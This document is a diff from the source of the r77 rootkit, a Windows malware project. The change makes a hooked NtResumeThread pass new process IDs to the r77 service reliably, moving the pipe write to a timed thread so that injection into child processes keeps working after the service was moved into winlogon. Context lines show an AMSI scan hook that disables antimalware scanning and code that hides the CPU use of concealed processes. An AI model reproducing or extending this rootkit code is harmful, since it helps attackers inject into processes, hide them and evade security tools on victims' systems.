@@ -221,16 +221,27 @@ static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount)
221221 HANDLE pipe = CreateFileW (CHILD_PROCESS_PIPE_NAME , GENERIC_READ | GENERIC_WRITE , 0 , NULL , OPEN_EXISTING , 0 , NULL );
222222 if (pipe != INVALID_HANDLE_VALUE )
223223 {
224- // Send the process ID to the r77 service.
225- DWORD bytesWritten ;
226- WriteFile ( pipe , & processId , sizeof ( DWORD ), & bytesWritten , NULL ) ;
224+ WRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS parameters ;
225+ parameters . PipeHandle = pipe ;
226+ parameters . ProcessId = processId ;
227227
228- // Wait for the response. NtResumeThread should be called after r77 is injected.
229- BYTE returnValue ;
230- DWORD bytesRead ;
231- ReadFile (pipe , & returnValue , sizeof (BYTE ), & bytesRead , NULL );
228+ // In some cases, the WriteFile call to the named pipe hangs indefinitely.
229+ // This bug was introduced after injecting the r77 service into winlogon, rather than in a hollowed process.
232230
233- CloseHandle (pipe );
231+ // Therefore, we must execute this write operation in a separate thread.
232+ // If this thread does not return within a given amount of time, we must assume that it failed,
233+ // and just continue process initialization. The periodic process injection will catch this process
234+ // within less than 100ms.
235+
236+ HANDLE thread = CreateThread (NULL , 0 , WriteChildProcessPipeThread , & parameters , 0 , NULL );
237+ if (thread )
238+ {
239+ if (WaitForSingleObject (thread , 500 ) != WAIT_OBJECT_0 )
240+ {
241+ // WriteFile got stuck.
242+ TerminateThread (thread , 0 );
243+ }
244+ }
234245 }
235246 }
236247
@@ -639,6 +650,22 @@ static HRESULT WINAPI HookedAmsiScanBuffer(LPVOID amsiContext, LPVOID buffer, UL
639650 return 0x80070057 ;
640651}
641652
653+ static DWORD WINAPI WriteChildProcessPipeThread (LPVOID parameter )
654+ {
655+ HANDLE pipe = ((PWRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS )parameter )-> PipeHandle ;
656+ DWORD processId = ((PWRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS )parameter )-> ProcessId ;
657+
658+ // Send the process ID to the r77 service.
659+ DWORD bytesWritten ;
660+ WriteFile (pipe , & processId , sizeof (DWORD ), & bytesWritten , NULL );
661+
662+ // Wait for the response. NtResumeThread should be called after r77 is injected.
663+ BYTE returnValue ;
664+ DWORD bytesRead ;
665+ ReadFile (pipe , & returnValue , sizeof (BYTE ), & bytesRead , NULL );
666+
667+ CloseHandle (pipe );
668+ }
642669static BOOL GetProcessHiddenTimes (PLARGE_INTEGER hiddenKernelTime , PLARGE_INTEGER hiddenUserTime , PLONGLONG hiddenCycleTime )
643670{
644671 // Count hidden CPU usage explicitly instead of waiting for a call to NtQuerySystemInformation(SystemProcessInformation).
0 commit comments